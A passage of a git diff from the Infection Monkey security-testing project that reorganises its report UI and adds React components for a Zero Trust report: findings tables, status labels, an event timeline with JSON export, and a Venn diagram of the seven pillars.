const classNames = require('classnames');
@@ -51,11 +82,7 @@ class AttackReportPageComponent extends AuthComponent {
return this.authFetch('/api')
.then(res => res.json())
.then(res => {
- // This check is used to prevent unnecessary re-rendering
- this.setState({
- allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']),
- runStarted: res['completed_steps']['run_monkey']
- });
+ this.setState(extractExecutionStatusFromServerResponse(res));
return res;
});
};
@@ -77,9 +104,9 @@ class AttackReportPageComponent extends AuthComponent {
getComponentClass(tech_id){
switch (this.state.report[tech_id].status) {
- case 'SCANNED':
+ case ScanStatus.SCANNED:
return 'collapse-info';
- case 'USED':
+ case ScanStatus.USED:
return 'collapse-danger';
default:
return 'collapse-default';
@@ -143,7 +170,7 @@ class AttackReportPageComponent extends AuthComponent {
return (
{this.renderLegend()}
-
+
)
}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js
similarity index 100%
rename from monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js
rename to monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/CollapsibleWell.js
similarity index 100%
rename from monkey/monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js
rename to monkey/monkey_island/cc/ui/src/components/report-components/security/CollapsibleWell.js
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js
similarity index 98%
rename from monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js
rename to monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js
index aacdc8845..ea39e3c45 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreach.js
@@ -24,7 +24,7 @@ let renderPbaResults = function (results) {
};
const subColumns = [
- {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }},
+ {id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }, width: 160},
{id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'whiteSpace': 'unset' }}
];
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js
similarity index 100%
rename from monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js
rename to monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/StolenPasswords.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/StolenPasswords.js
similarity index 100%
rename from monkey/monkey_island/cc/ui/src/components/report-components/StolenPasswords.js
rename to monkey/monkey_island/cc/ui/src/components/report-components/security/StolenPasswords.js
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/StrongUsers.js
similarity index 100%
rename from monkey/monkey_island/cc/ui/src/components/report-components/StrongUsers.js
rename to monkey/monkey_island/cc/ui/src/components/report-components/security/StrongUsers.js
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js
new file mode 100644
index 000000000..761ff94a9
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js
@@ -0,0 +1,43 @@
+import React, {Component, Fragment} from "react";
+import EventsModal from "./EventsModal";
+import {Badge, Button} from "react-bootstrap";
+import * as PropTypes from "prop-types";
+
+export default class EventsButton extends Component {
+ constructor(props) {
+ super(props);
+ this.state = {
+ isShow: false
+ }
+ }
+
+ hide = () => {
+ this.setState({isShow: false});
+ };
+
+ show = () => {
+ this.setState({isShow: true});
+ };
+
+ render() {
+ return
+
+
+
+ Events {this.createEventsAmountBadge()}
+
+
+ ;
+ }
+
+ createEventsAmountBadge() {
+ const eventsAmountBadgeContent = this.props.events.length > 9 ? "9+" : this.props.events.length;
+ return {eventsAmountBadgeContent} ;
+ }
+}
+
+EventsButton.propTypes = {
+ events: PropTypes.array,
+ exportFilename: PropTypes.string,
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js
new file mode 100644
index 000000000..a7f2fe41c
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModal.js
@@ -0,0 +1,51 @@
+import React, {Component} from "react";
+import {Badge, Modal} from "react-bootstrap";
+import EventsTimeline from "./EventsTimeline";
+import * as PropTypes from "prop-types";
+import saveJsonToFile from "../../utils/SaveJsonToFile";
+import EventsModalButtons from "./EventsModalButtons";
+import Pluralize from 'pluralize'
+import {statusToLabelType} from "./StatusLabel";
+
+export default class EventsModal extends Component {
+ constructor(props) {
+ super(props);
+ }
+
+ render() {
+ return (
+
+
this.props.hideCallback()}>
+
+
+ Events
+
+
+
+ There {Pluralize('is', this.props.events.length)} {
{this.props.events.length}
} {Pluralize('event', this.props.events.length)} associated with this finding.
+
+ {this.props.events.length > 5 ? this.renderButtons() : null}
+
+ {this.renderButtons()}
+
+
+
+ );
+ }
+
+ renderButtons() {
+ return this.props.hideCallback()}
+ onClickExport={() => {
+ const dataToSave = this.props.events;
+ const filename = this.props.exportFilename;
+ saveJsonToFile(dataToSave, filename);
+ }}/>;
+ }
+}
+
+EventsModal.propTypes = {
+ showEvents: PropTypes.bool,
+ events: PropTypes.array,
+ hideCallback: PropTypes.func,
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js
new file mode 100644
index 000000000..962c54893
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsModalButtons.js
@@ -0,0 +1,20 @@
+import React, {Component} from "react";
+import ExportEventsButton from "./ExportEventsButton";
+import * as PropTypes from "prop-types";
+
+export default class EventsModalButtons extends Component {
+ render() {
+ return
+
+ Close
+
+
+
+ }
+}
+
+EventsModalButtons.propTypes = {
+ onClickClose: PropTypes.func,
+ onClickExport: PropTypes.func
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js
new file mode 100644
index 000000000..b7fb90811
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsTimeline.js
@@ -0,0 +1,36 @@
+import React, {Component} from "react";
+import {Timeline, TimelineEvent} from "react-event-timeline";
+import * as PropTypes from "prop-types";
+
+let monkeyLocalIcon = require('../../../images/zerotrust/im-alert-machine-icon.svg');
+let monkeyNetworkIcon = require('../../../images/zerotrust/im-alert-network-icon.svg');
+
+const eventTypeToIcon = {
+ "monkey_local": monkeyLocalIcon,
+ "monkey_network": monkeyNetworkIcon,
+};
+
+export default class EventsTimeline extends Component {
+ render() {
+ return (
+
+
+ {
+ this.props.events.map((event, index) => {
+ const event_time = new Date(event.timestamp['$date']).toString();
+ return ( }>
+ {event.message}
+ )
+ })
+ }
+
+
+ );
+ }
+}
+
+EventsTimeline.propTypes = {events: PropTypes.array};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js
new file mode 100644
index 000000000..bb6fc6c45
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ExportEventsButton.js
@@ -0,0 +1,15 @@
+import React, {Component} from "react";
+import {Button} from "react-bootstrap";
+import * as PropTypes from "prop-types";
+
+export default class ExportEventsButton extends Component {
+ render() {
+ return
+ Export
+
+ }
+}
+
+ExportEventsButton.propTypes = {onClick: PropTypes.func};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js
new file mode 100644
index 000000000..95b9d0389
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js
@@ -0,0 +1,63 @@
+import React, {Component, Fragment} from "react";
+import PillarLabel from "./PillarLabel";
+import EventsButton from "./EventsButton";
+import ZeroTrustPillars, {ZeroTrustStatuses} from "./ZeroTrustPillars";
+import {FindingsTable} from "./FindingsTable";
+
+
+class FindingsSection extends Component {
+ mapFindingsByStatus() {
+ const statusToFindings = {};
+ for (const key in ZeroTrustStatuses) {
+ statusToFindings[ZeroTrustStatuses[key]] = [];
+ }
+
+ this.props.findings.map((finding) => {
+ // Deep copy
+ const newFinding = JSON.parse(JSON.stringify(finding));
+ newFinding.pillars = newFinding.pillars.map((pillar) => {
+ return {name: pillar, status: this.props.pillarsToStatuses[pillar]}
+ });
+ statusToFindings[newFinding.status].push(newFinding);
+ });
+ return statusToFindings;
+ }
+
+ render() {
+ const findingsByStatus = this.mapFindingsByStatus();
+ return (
+
+
Findings
+
+ Deep-dive into the details of each test, and see the explicit events and exact timestamps in which things
+ happened in your network. This will enable you to match up with your SOC logs and alerts and to gain deeper
+ insight as to what exactly happened during this test.
+
+
+
+
+
+
+ );
+ }
+
+ getFilteredFindings(statusToFilter) {
+ const findings = this.props.findings.map((finding) => {
+ // Deep copy
+ const newFinding = JSON.parse(JSON.stringify(finding));
+ if (newFinding.status === statusToFilter) {
+ newFinding.pillars = newFinding.pillars.map((pillar) => {
+ return {name: pillar, status: this.props.pillarsToStatuses[pillar]}
+ });
+ return newFinding;
+ }
+ });
+ // Filter nulls out of the list
+ return findings.filter(function (el) {
+ return el != null;
+ });
+ }
+}
+
+
+export default FindingsSection;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js
new file mode 100644
index 000000000..acff1df89
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js
@@ -0,0 +1,53 @@
+import React, {Component, Fragment} from "react";
+import StatusLabel from "./StatusLabel";
+import PaginatedTable from "../common/PaginatedTable";
+import * as PropTypes from "prop-types";
+import PillarLabel from "./PillarLabel";
+import EventsButton from "./EventsButton";
+
+const EVENTS_COLUMN_MAX_WIDTH = 160;
+const PILLARS_COLUMN_MAX_WIDTH = 200;
+const columns = [
+ {
+ columns: [
+ {
+ Header: 'Finding', accessor: 'test',
+ style: {'whiteSpace': 'unset'} // This enables word wrap
+ },
+
+ {
+ Header: 'Events', id: "events",
+ accessor: x => {
+ return ;
+ },
+ maxWidth: EVENTS_COLUMN_MAX_WIDTH,
+ },
+
+ {
+ Header: 'Pillars', id: "pillars",
+ accessor: x => {
+ const pillars = x.pillars;
+ const pillarLabels = pillars.map((pillar) =>
+
+ );
+ return {pillarLabels}
;
+ },
+ maxWidth: PILLARS_COLUMN_MAX_WIDTH,
+ style: {'whiteSpace': 'unset'}
+ },
+ ]
+ }
+];
+
+
+export class FindingsTable extends Component {
+ render() {
+ return
+ {
+ } tests' findings
+
+
+ }
+}
+
+FindingsTable.propTypes = {data: PropTypes.array, status: PropTypes.string};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js
new file mode 100644
index 000000000..51c5ca380
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarLabel.js
@@ -0,0 +1,25 @@
+import React, {Component} from "react";
+import {statusToLabelType} from "./StatusLabel";
+import * as PropTypes from "prop-types";
+
+const pillarToIcon = {
+ "Data": "fa fa-database",
+ "People": "fa fa-user",
+ "Networks": "fa fa-wifi",
+ "Workloads": "fa fa-cloud",
+ "Devices": "fa fa-laptop",
+ "Visibility & Analytics": "fa fa-eye-slash",
+ "Automation & Orchestration": "fa fa-cogs",
+};
+
+export default class PillarLabel extends Component {
+ render() {
+ const className = "label " + statusToLabelType[this.props.status];
+ return {this.props.pillar}
+ }
+}
+
+PillarLabel.propTypes = {
+ status: PropTypes.string,
+ pillar: PropTypes.string,
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js
new file mode 100644
index 000000000..7cefcab61
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PillarOverview.js
@@ -0,0 +1,17 @@
+import React, {Component} from "react";
+import * as PropTypes from "prop-types";
+import ResponsiveVennDiagram from "./venn-components/ResponsiveVennDiagram";
+
+class PillarOverview extends Component {
+ render() {
+ return (
+
+
);
+ }
+}
+
+export default PillarOverview;
+
+PillarOverview.propTypes = {
+ grades: PropTypes.array,
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js
new file mode 100644
index 000000000..bb957d42d
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesSection.js
@@ -0,0 +1,31 @@
+import React, {Component} from "react";
+import SinglePillarPrinciplesStatus from "./SinglePillarPrinciplesStatus";
+import * as PropTypes from "prop-types";
+
+export default class PrinciplesSection extends Component {
+ render() {
+ return
+
Test Results
+
+ The
+ Zero Trust eXtended (ZTX) framework
+ is composed of 7 pillars. Each pillar is built of
+ several guiding principles tested by the Infection Monkey.
+
+ {
+ Object.keys(this.props.principles).map((pillar) =>
+
+ )
+ }
+
+ }
+}
+
+PrinciplesSection.propTypes = {
+ principles: PropTypes.object,
+ pillarsToStatuses: PropTypes.object
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js
new file mode 100644
index 000000000..b50ee0c28
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/PrinciplesStatusTable.js
@@ -0,0 +1,71 @@
+import React, {Fragment} from "react";
+import PaginatedTable from "../common/PaginatedTable";
+import AuthComponent from "../../AuthComponent";
+import StatusLabel from "./StatusLabel";
+import * as PropTypes from "prop-types";
+import {ZeroTrustStatuses} from "./ZeroTrustPillars";
+
+
+const MAX_WIDTH_STATUS_COLUMN = 80;
+const columns = [
+ {
+ columns: [
+ { Header: 'Status', id: 'status',
+ accessor: x => {
+ return ;
+ },
+ maxWidth: MAX_WIDTH_STATUS_COLUMN
+ },
+ { Header: 'Zero Trust Principle', accessor: 'principle',
+ style: {'whiteSpace': 'unset'} // This enables word wrap
+ },
+ { Header: 'Monkey Tests', id: 'tests',
+ style: {'whiteSpace': 'unset'}, // This enables word wrap
+ accessor: x => {
+ return ;
+ }
+ }
+ ]
+ }
+];
+
+class TestsStatus extends AuthComponent {
+ render() {
+ return (
+
+ {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.failed)}
+ {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.verify)}
+ {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.passed)}
+ {this.getFilteredTestsByStatusIfAny(ZeroTrustStatuses.unexecuted)}
+
+ );
+ }
+
+ getFilteredTestsByStatusIfAny(statusToFilter) {
+ const filteredTests = this.props.tests.filter((test) => {
+ return (test.status === statusToFilter);
+ }
+ );
+
+ if (filteredTests.length > 0) {
+ const listItems = filteredTests.map((test) => {
+ return ({test.test} )
+ });
+ return
+
+
+ ;
+ }
+ return ;
+ }
+}
+
+export class PrinciplesStatusTable extends AuthComponent {
+ render() {
+ return ;
+ }
+}
+
+export default PrinciplesStatusTable;
+
+PrinciplesStatusTable.propTypes = {principlesStatus: PropTypes.array};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js
new file mode 100644
index 000000000..5ef75f2b4
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js
@@ -0,0 +1,60 @@
+import React, {Component} from "react";
+import StatusLabel from "./StatusLabel";
+import {ZeroTrustStatuses} from "./ZeroTrustPillars";
+import {NavLink} from "react-router-dom";
+import {Panel} from "react-bootstrap";
+
+
+class ZeroTrustReportLegend extends Component {
+ render() {
+ const legendContent = this.getLegendContent();
+
+ return (
+
+
+
+ Legend
+
+
+
+
+ {legendContent}
+
+
+
+ );
+ }
+
+ getLegendContent() {
+ return
+
+
+
+
+
+ {"\t"}At least one of the tests related to this component failed. This means that the Infection Monkey detected an unmet Zero Trust requirement.
+
+
+
+
+
+ {"\t"}At least one of the tests’ results related to this component requires further manual verification.
+
+
+
+
+
+ {"\t"}All Tests related to this pillar passed. No violation of a Zero Trust guiding principle was detected.
+
+
+
+
+
+ {"\t"}This status means the test wasn't executed.To activate more tests, refer to the Monkey configuration page.
+
+
+
;
+ }
+}
+
+export default ZeroTrustReportLegend;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js
new file mode 100644
index 000000000..8e4512ac7
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarPrinciplesStatus.js
@@ -0,0 +1,37 @@
+import AuthComponent from "../../AuthComponent";
+import PillarLabel from "./PillarLabel";
+import PrinciplesStatusTable from "./PrinciplesStatusTable";
+import React from "react";
+import * as PropTypes from "prop-types";
+import {Panel} from "react-bootstrap";
+
+export default class SinglePillarPrinciplesStatus extends AuthComponent {
+ render() {
+ if (this.props.principlesStatus.length === 0) {
+ return null;
+ }
+ else {
+ return (
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ );
+ }
+ }
+}
+
+SinglePillarPrinciplesStatus.propTypes = {
+ principlesStatus: PropTypes.array,
+ pillar: PropTypes.string,
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js
new file mode 100644
index 000000000..028ca7d89
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusLabel.js
@@ -0,0 +1,37 @@
+import React, {Component} from "react";
+import * as PropTypes from "prop-types";
+
+const statusToIcon = {
+ "Passed": "fa-check",
+ "Verify": "fa-exclamation-triangle",
+ "Failed": "fa-bomb",
+ "Unexecuted": "fa-question",
+};
+
+export const statusToLabelType = {
+ "Passed": "label-success",
+ "Verify": "label-warning",
+ "Failed": "label-danger",
+ "Unexecuted": "label-default",
+};
+
+export default class StatusLabel extends Component {
+ render() {
+ let text = "";
+ if (this.props.showText) {
+ text = " " + this.props.status;
+ }
+
+ return (
+
+ {text}
+
+ );
+ }
+}
+
+StatusLabel.propTypes = {
+ status: PropTypes.string,
+ showText: PropTypes.bool,
+ size: PropTypes.string
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js
new file mode 100644
index 000000000..d34a484b9
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/StatusesToPillarsSummary.js
@@ -0,0 +1,37 @@
+import React, {Component, Fragment} from "react";
+import PillarLabel from "./PillarLabel";
+import StatusLabel from "./StatusLabel";
+import * as PropTypes from "prop-types";
+import {ZeroTrustStatuses} from "./ZeroTrustPillars";
+
+export default class StatusesToPillarsSummary extends Component {
+ render() {
+ return (
+ {this.getStatusSummary(ZeroTrustStatuses.failed)}
+ {this.getStatusSummary(ZeroTrustStatuses.verify)}
+ {this.getStatusSummary(ZeroTrustStatuses.passed)}
+ {this.getStatusSummary(ZeroTrustStatuses.unexecuted)}
+
);
+ }
+
+ getStatusSummary(status) {
+ if (this.props.statusesToPillars[status].length > 0) {
+ return
+
+
+
+
+ {
+ this.props.statusesToPillars[status].map((pillar) => {
+ return
+ })
+ }
+
+
+ }
+ }
+}
+
+StatusesToPillarsSummary.propTypes = {
+ statusesToPillars: PropTypes.object
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js
new file mode 100644
index 000000000..e4012bf50
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SummarySection.js
@@ -0,0 +1,40 @@
+import React, {Component} from "react";
+import {Col, Grid, Row} from "react-bootstrap";
+import MonkeysStillAliveWarning from "../common/MonkeysStillAliveWarning";
+import PillarsOverview from "./PillarOverview";
+import ZeroTrustReportLegend from "./ReportLegend";
+import * as PropTypes from "prop-types";
+
+export default class SummarySection extends Component {
+ render() {
+ return
+ }
+}
+
+SummarySection.propTypes = {
+ allMonkeysAreDead: PropTypes.bool,
+ pillars: PropTypes.object
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js
new file mode 100644
index 000000000..dd2a55865
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ZeroTrustPillars.js
@@ -0,0 +1,18 @@
+export const ZeroTrustPillars = {
+ data: "Data",
+ people: "People",
+ network: "Networks",
+ workload: "Workload",
+ devices: "Devices",
+ visibility: "Visibility & Analytics",
+ automation: "Automation & Orchestration"
+};
+
+export const ZeroTrustStatuses = {
+ failed: "Failed",
+ verify: "Verify",
+ passed: "Passed",
+ unexecuted: "Unexecuted"
+};
+
+export default ZeroTrustPillars;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/.DS_Store b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/.DS_Store
new file mode 100644
index 000000000..344923cf9
Binary files /dev/null and b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/.DS_Store differ
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js
new file mode 100644
index 000000000..aee1fb7f2
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ArcNode.js
@@ -0,0 +1,65 @@
+import React from 'react'
+import PropTypes from 'prop-types';
+import {Popover, OverlayTrigger} from 'react-bootstrap';
+import * as d3 from 'd3'
+
+class ArcNode extends React.Component {
+ render() {
+ let {prefix, index, data} = this.props;
+
+ let arc = d3.arc().innerRadius(data.inner).outerRadius(data.outer).startAngle(0).endAngle(Math.PI * 2.0);
+ let id = prefix + 'Node_' + index;
+
+ return (
+
+ {data.tooltip}} rootClose>
+
+
+
+
+ {data.icon + '\u2000'}
+ {data.label}
+
+
+
+ );
+ }
+
+
+ handleClick(e_) {
+ this.props.disableHover(this.refs.overlay);
+ }
+
+ handleOver(e_) {
+ if (this.props.hover) {
+ this.refs.overlay.show();
+ }
+ }
+
+ handleOut(e_) {
+ if (this.props.hover) {
+ this.refs.overlay.hide();
+ }
+ }
+}
+
+ArcNode.propTypes = {
+ data: PropTypes.object
+};
+
+export default ArcNode;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js
new file mode 100644
index 000000000..5c84d95a5
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/CircularNode.js
@@ -0,0 +1,64 @@
+import React from 'react'
+import PillarLabel from "../PillarLabel";
+import {Popover, OverlayTrigger} from 'react-bootstrap';
+import PropTypes from 'prop-types';
+
+class CircularNode extends React.Component {
+ render() {
+ let {prefix, index, data} = this.props;
+
+ let translate = 'translate(' + data.cx + ',' + data.cy + ')';
+ return (
+
+ {data.tooltip}} rootClose>
+
+
+
+
+
+
+ );
+ }
+
+
+ handleClick(e_) {
+ this.props.disableHover(this.refs.overlay);
+ }
+
+ handleOver(e_) {
+ if (this.props.hover) {
+ this.refs.overlay.show();
+ }
+ }
+
+ handleOut(e_) {
+ if (this.props.hover) {
+ this.refs.overlay.hide();
+ }
+ }
+
+}
+
+CircularNode.propTypes = {
+ index: PropTypes.number,
+ data: PropTypes.object
+};
+
+export default CircularNode;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js
new file mode 100644
index 000000000..4b2069f06
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js
@@ -0,0 +1,28 @@
+import React from 'react'
+import PropTypes from 'prop-types'
+import Dimensions from 'react-dimensions'
+import VennDiagram from './VennDiagram'
+
+const VENN_MIN_WIDTH = '300px';
+
+class ResponsiveVennDiagram extends React.Component {
+ constructor(props) {
+ super(props);
+ }
+
+ render() {
+ const {pillarsGrades} = this.props;
+
+ return (
+
+
+
+ );
+ }
+}
+
+ResponsiveVennDiagram.propTypes = {
+ pillarsGrades: PropTypes.array
+};
+
+export default Dimensions()(ResponsiveVennDiagram);
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Utility.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Utility.js
new file mode 100644
index 000000000..fa9309506
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Utility.js
@@ -0,0 +1,9 @@
+export class TypographicUtilities {
+ static removeAmpersand(string_) {
+ return string_.replace(' & ', 'And');
+ }
+
+ static removeBrokenBar(string_) {
+ return string_.replace(/\|/g, ' ');
+ }
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.css b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.css
new file mode 100644
index 000000000..dd4883125
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.css
@@ -0,0 +1,17 @@
+@import url('https://fonts.googleapis.com/css?family=Noto+Sans&display=swap');
+
+body {
+ margin: 0;
+ font-family: "Noto Sans", sans-serif;
+}
+
+svg {
+
+ -webkit-touch-callout: none; /* iOS Safari */
+ -webkit-user-select: none; /* Safari */
+ -khtml-user-select: none; /* Konqueror HTML */
+ -moz-user-select: none; /* Firefox */
+ -ms-user-select: none; /* Internet Explorer/Edge */
+ user-select: none; /* Non-prefixed version, currently supported by Chrome and Opera */
+
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js
new file mode 100644
index 000000000..70304daad
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js
@@ -0,0 +1,280 @@
+import React from 'react'
+import PropTypes from 'prop-types'
+import CircularNode from './CircularNode'
+import ArcNode from './ArcNode'
+import {TypographicUtilities} from './Utility.js'
+import './VennDiagram.css'
+import {ZeroTrustStatuses} from "../ZeroTrustPillars";
+
+class VennDiagram extends React.Component {
+ constructor(props_) {
+ super(props_);
+
+ this.state = {hover: true, currentPopover: undefined};
+ this._disableHover = this._disableHover.bind(this);
+
+ this.width = this.height = 512;
+
+ this.prefix = 'vennDiagram';
+ this.fontStyles = [{size: Math.max(9, this.width / 28), color: 'white'}, {
+ size: Math.max(6, this.width / 38),
+ color: 'white'
+ }, {size: Math.max(6, this.width / 48), color: 'white'}];
+ this.offset = this.width / 16;
+
+ this.thirdWidth = this.width / 3;
+ this.width11By2 = this.width / 5.5;
+ this.width2By7 = 2 * this.width / 7;
+ this.width1By11 = this.width / 11;
+ this.width1By28 = this.width / 28;
+ this.arcNodesGap = 4;
+
+ this.layout = {
+ Data: {cx: 0, cy: 0, r: this.width11By2, offset: {x: 0, y: 0}, popover: 'top'},
+ People: {
+ cx: -this.width2By7,
+ cy: 0,
+ r: this.width11By2,
+ offset: {x: this.width1By11 + this.fontStyles[1].size / 5 * 3, y: 0},
+ popover: 'right'
+ },
+ Networks: {
+ cx: this.width2By7,
+ cy: 0,
+ r: this.width11By2,
+ offset: {x: -this.width1By11 - this.fontStyles[1].size / 5 * 3, y: 0},
+ popover: 'left'
+ },
+ Devices: {
+ cx: 0,
+ cy: this.width2By7,
+ r: this.width11By2,
+ offset: {x: 0, y: -this.width1By11 + this.fontStyles[1].size / 6 * 3},
+ popover: 'top'
+ },
+ Workloads: {
+ cx: 0,
+ cy: -this.width2By7,
+ r: this.width11By2,
+ offset: {x: 0, y: this.width1By11},
+ popover: 'bottom'
+ },
+ VisibilityAndAnalytics: {
+ inner: this.thirdWidth - this.width1By28,
+ outer: this.thirdWidth,
+ icon: '\uf070',
+ popover: 'right'
+ },
+ AutomationAndOrchestration: {
+ inner: this.thirdWidth - this.width1By28 * 2 - this.arcNodesGap,
+ outer: this.thirdWidth - this.width1By28 - this.arcNodesGap,
+ icon: '\uf085',
+ popover: 'right'
+ }
+ };
+
+ /*
+
